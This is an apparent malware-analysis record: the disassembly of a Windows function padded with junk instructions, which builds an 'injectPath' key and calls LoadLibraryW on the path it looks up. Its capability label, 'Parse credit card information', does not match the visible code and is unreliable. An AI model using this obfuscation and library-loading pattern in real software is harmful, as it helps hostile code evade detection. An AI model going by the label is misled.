Function at 0x1000cc00
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002a2b3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xbc
mov eax, ebx
cmp eax, 0xfe4a0037
nop
cmp eax, 0xffffffb2
inc eax
cmp eax, 0xffffffb8
nop
cmp eax, 0xc7c9a5df
inc eax
mov eax, ebx
nop
nop
cmp eax, 0x4fd8a1ea
nop
cmp eax, 0xffffffc2
inc eax
cmp eax, 0xfffffff6
cmp eax, 0xffffff8a
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
imul ecx, eax, 0
mov edx, 0x69
mov word [ebp + ecx - 0x28], dx
cmp eax, 0x1a90ee98
mov eax, ecx
cmp eax, 0x5b
mov eax, 0x41846be1
inc eax
mov eax, 0x3ada725f
cmp eax, 0x87e60a27
cmp eax, 0xf9cf6f5b
cmp eax, 0xffffff85
mov eax, ecx
nop
cmp eax, 0xf4112048
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
shl eax, 1
mov ecx, 0x6a
mov word [ebp + eax - 0x28], cx
mov eax, ecx
nop
mov eax, 0xd3abef91
mov eax, ecx
mov eax, ecx
mov eax, ecx
nop
cmp eax, 0x57
nop
cmp eax, 0x52bd44e3
mov eax, ecx
mov eax, 0x4d1e892d
mov eax, ecx
cmp eax, 0x23
mov eax, ebx
inc eax
mov eax, ebx
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov edx, 2
imul eax, edx, 5
mov ecx, 0x74
mov word [ebp + eax - 0x28], cx
inc eax
mov eax, ecx
mov eax, 0xae60dd50
mov eax, ecx
mov eax, ebx
mov eax, ecx
nop
mov eax, 0xf6e32ff5
nop
mov eax, 0x51198106
mov eax, 0xf2f411bd
inc eax
mov eax, ebx
mov eax, ebx
mov eax, ecx
mov eax, ecx
inc eax
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov edx, 2
shl edx, 0
mov eax, 0x6e
mov word [ebp + edx - 0x28], ax
cmp eax, 0xffffffe3
cmp eax, 0x7c8e4728
cmp eax, 0xffffffdf
inc eax
mov eax, ecx
cmp eax, 0x21
nop
nop
inc eax
inc eax
mov eax, 0xcd34057b
mov eax, ebx
inc eax
mov eax, ecx
nop
cmp eax, 0x3d
mov eax, ebx
cmp eax, 0xffffff84
nop
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov ecx, 2
shl ecx, 2
mov edx, 0x63
mov word [ebp + ecx - 0x28], dx
nop
mov eax, ebx
cmp eax, 0xffffffc4
mov eax, ebx
mov eax, 0xaad9cef7
nop
cmp eax, 0xffffffad
cmp eax, 0xe0b79e4c
mov eax, ecx
mov eax, ecx
mov eax, 0xbee2750c
mov eax, ebx
mov eax, ebx
cmp eax, 0x5e
cmp eax, 0xffffff93
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
imul ecx, eax, 7
mov edx, 0x61
mov word [ebp + ecx - 0x28], dx
mov eax, ecx
inc eax
inc eax
cmp eax, 0xb5efb69d
cmp eax, 0x50da36a1
mov eax, ecx
mov eax, ebx
mov eax, ebx
nop
mov eax, ecx
cmp eax, 0xffffffb3
inc eax
cmp eax, 0xffffffe2
nop
mov eax, 0x50ea527f
mov eax, 0xe0589
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
imul ecx, eax, 6
mov edx, 0x50
mov word [ebp + ecx - 0x28], dx
nop
cmp eax, 0x76ea62dd
inc eax
cmp eax, 0xa5e961e6
cmp eax, 0x5823a015
cmp eax, 0xffffffe5
mov eax, ecx
mov eax, ebx
mov eax, 0xab6fbef
inc eax
cmp eax, 0xe746a808
inc eax
inc eax
mov eax, ebx
mov eax, ebx
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
imul ecx, eax, 3
mov edx, 0x65
mov word [ebp + ecx - 0x28], dx
nop
cmp eax, 0x35
mov eax, 0x52795f98
inc eax
mov eax, ebx
mov eax, ecx
inc eax
cmp eax, 0xc6588318
cmp eax, 0x1f
inc eax
nop
inc eax
cmp eax, 0x32dfdd6c
mov eax, ecx
cmp eax, 0x921b52c4
inc eax
nop
mov eax, ebx
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
shl eax, 3
mov ecx, 0x74
mov word [ebp + eax - 0x28], cx
mov eax, 0x26b41864
mov eax, ebx
mov eax, 0xeadbcac0
inc eax
cmp eax, 0xfffffff2
cmp eax, 0x74
cmp eax, 0xa3df1838
inc eax
mov eax, 0xf048bc9b
cmp eax, 0xffffffb4
cmp eax, 0xea507fff
inc eax
cmp eax, 0xffffffe1
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov edx, 2
imul eax, edx, 0xa
xor ecx, ecx
mov word [ebp + eax - 0x28], cx
nop
mov eax, ebx
mov eax, 0xf30461f5
cmp eax, 0x50
mov eax, ebx
nop
mov eax, 0x776d870a
mov eax, ebx
cmp eax, 0xffffffb0
cmp eax, 0xffffff9b
inc eax
mov eax, 0xb570bf7d
mov eax, 0xaf48c20d
nop
mov eax, ecx
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov edx, 2
imul eax, edx, 9
mov ecx, 0x68
mov word [ebp + eax - 0x28], cx
nop
nop
inc eax
mov eax, ebx
mov eax, 0x66f421af
inc eax
mov eax, 0x439f6dd7
mov eax, ecx
mov eax, ebx
mov eax, ecx
mov eax, 0xfdc32b13
mov eax, ebx
cmp eax, 0x53ac074d
nop
cmp eax, 0x6c
cmp eax, 0x46
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea ecx, [ebp - 0x50]
call fcn.10006990
mov dword [ebp - 4], 0
cmp eax, 0xffffffbc
cmp eax, 0x76
inc eax
mov eax, 0x2db96350
cmp eax, 0x1c
mov eax, ebx
mov eax, ecx
mov eax, ebx
nop
mov eax, 0xa4d1cb0c
cmp eax, 0x18646adf
inc eax
cmp eax, 0xef65f1df
nop
mov eax, ecx
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
lea ecx, [ebp - 0x80]
call fcn.10006b50
mov byte [ebp - 4], 1
lea eax, [ebp - 0x80]
push eax
call fcn.10008cf0
add esp, 4
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.10007a70
movzx ecx, byte [ebp - 0xd]
test ecx, ecx
je 0x1000d104
nop
cmp eax, 0x69416707
mov eax, ecx
cmp eax, 0x1c4ce5e6
inc eax
mov eax, ebx
mov eax, ebx
cmp eax, 0x916545f7
cmp eax, 0x28
mov eax, ebx
cmp eax, 0x99b9218
cmp eax, 0xfeb17a86
mov eax, ebx
nop
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x98]
push eax
call fcn.1000e1f0
add esp, 8
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x50]
call fcn.10008040
lea ecx, [ebp - 0x98]
call fcn.10007a30
mov eax, ebx
inc eax
cmp eax, 0xaae9efc4
cmp eax, 0xffffffa5
mov eax, 0xd046202b
cmp eax, 0xfffffff0
mov eax, ecx
cmp eax, 0xcb6766b3
nop
nop
nop
mov eax, ebx
inc eax
nop
mov eax, ebx
mov eax, ebx
inc eax
nop
inc eax
nop
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0xfde9
lea ecx, [ebp - 0x50]
call fcn.1000bb00
push eax
call fcn.10008b10
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, ebx
mov eax, 0xd542d5ad
mov eax, ebx
cmp eax, 0x38
mov eax, ebx
nop
cmp eax, 0x803cdcd6
mov eax, 0x690ee17d
cmp eax, 0xfffffff0
nop
mov eax, 0x4ebf78c1
mov eax, ecx
cmp eax, 0xfffffff3
nop
inc eax
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.10007a30
jmp 0x1000d35d
lea edx, [ebp - 0x28]
push edx
push 0x1002bee8
lea eax, [ebp - 0xb0]
push eax
call fcn.10008d60
add esp, 4
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x34], ecx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x34]
call fcn.1000b5a0
mov ecx, eax
call fcn.1000b5a0
push eax
lea ecx, [ebp - 0x68]
call fcn.10006a50
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xb0]
call fcn.10007a70
inc eax
mov eax, 0xb062222f
cmp eax, 0x7d
mov eax, 0x7af73ffa
cmp eax, 0x41353202
mov eax, 0xe90ef4c
mov eax, 0x2a042f68
inc eax
mov eax, ebx
mov eax, 0xe68e1dfb
inc eax
mov eax, ebx
mov eax, ecx
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea edx, [ebp - 0x68]
push edx
call fcn.10008cf0
add esp, 4
movzx eax, al
test eax, eax
je 0x1000d2b6
mov eax, ebx
nop
mov eax, ebx
inc eax
cmp eax, 0xdd8569c2
cmp eax, 0x179aa465
mov eax, ecx
inc eax
nop
inc eax
cmp eax, 0xffffffdd
mov eax, 0xc640864
cmp eax, 0x92c6b504
nop
cmp eax, 0x3d
mov eax, ebx
nop
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea ecx, [ebp - 0x68]
call fcn.1000bb40
push eax
lea ecx, [ebp - 0xc8]
push ecx
call fcn.1000e1f0
add esp, 8
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x38]
push edx
lea ecx, [ebp - 0x50]
call fcn.10008040
lea ecx, [ebp - 0xc8]
call fcn.10007a30
mov eax, ebx
inc eax
inc eax
nop
cmp eax, 0x562d6dcd
cmp eax, 0xf622b886
mov eax, ebx
cmp eax, 0xffffffd9
mov eax, 0xd0af87db
cmp eax, 0xffffffc2
nop
mov eax, ebx
mov eax, ebx
mov eax, ebx
inc eax
mov eax, ebx
mov eax, ebx
nop
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0xfde9
lea ecx, [ebp - 0x50]
call fcn.1000bb00
push eax
call fcn.10008b10
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, ebx
mov eax, 0x74aecbf3
mov eax, 0x1df74ad4
mov eax, 0x3ed1d733
inc eax
cmp eax, 0xd38bb935
mov eax, 0x75be9d25
mov eax, ecx
cmp eax, 0x11d6dcbd
mov eax, 0x5342f36f
mov eax, ecx
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x68]
call fcn.10007a70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.10007a30
jmp 0x1000d35d
mov eax, 0x6065ca88
mov eax, ecx
nop
cmp eax, 0xffffffb6
inc eax
mov eax, 0x19aa76f9
mov eax, ebx
mov eax, ecx
cmp eax, 0x44
mov eax, ecx
mov eax, ebx
nop
cmp eax, 0x1066e3c2
mov eax, ebx
nop
mov eax, 0xb52b858b
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0x41030
lea ecx, [ebp - 0x68]
call fcn.1000bb40
push eax
mov eax, 0x1002beec
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
nop
cmp eax, 0xffffffb5
cmp eax, 8
mov eax, ebx
mov eax, 0xb35a9ea2
cmp eax, 0xffffffe0
nop
nop
cmp eax, 0xce58d5a8
mov eax, 0xe2ef6525
mov eax, ebx
mov eax, ecx
cmp eax, 0x7a
inc eax
cmp eax, 0x7867ed27
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x68]
call fcn.10007a70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.10007a30
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret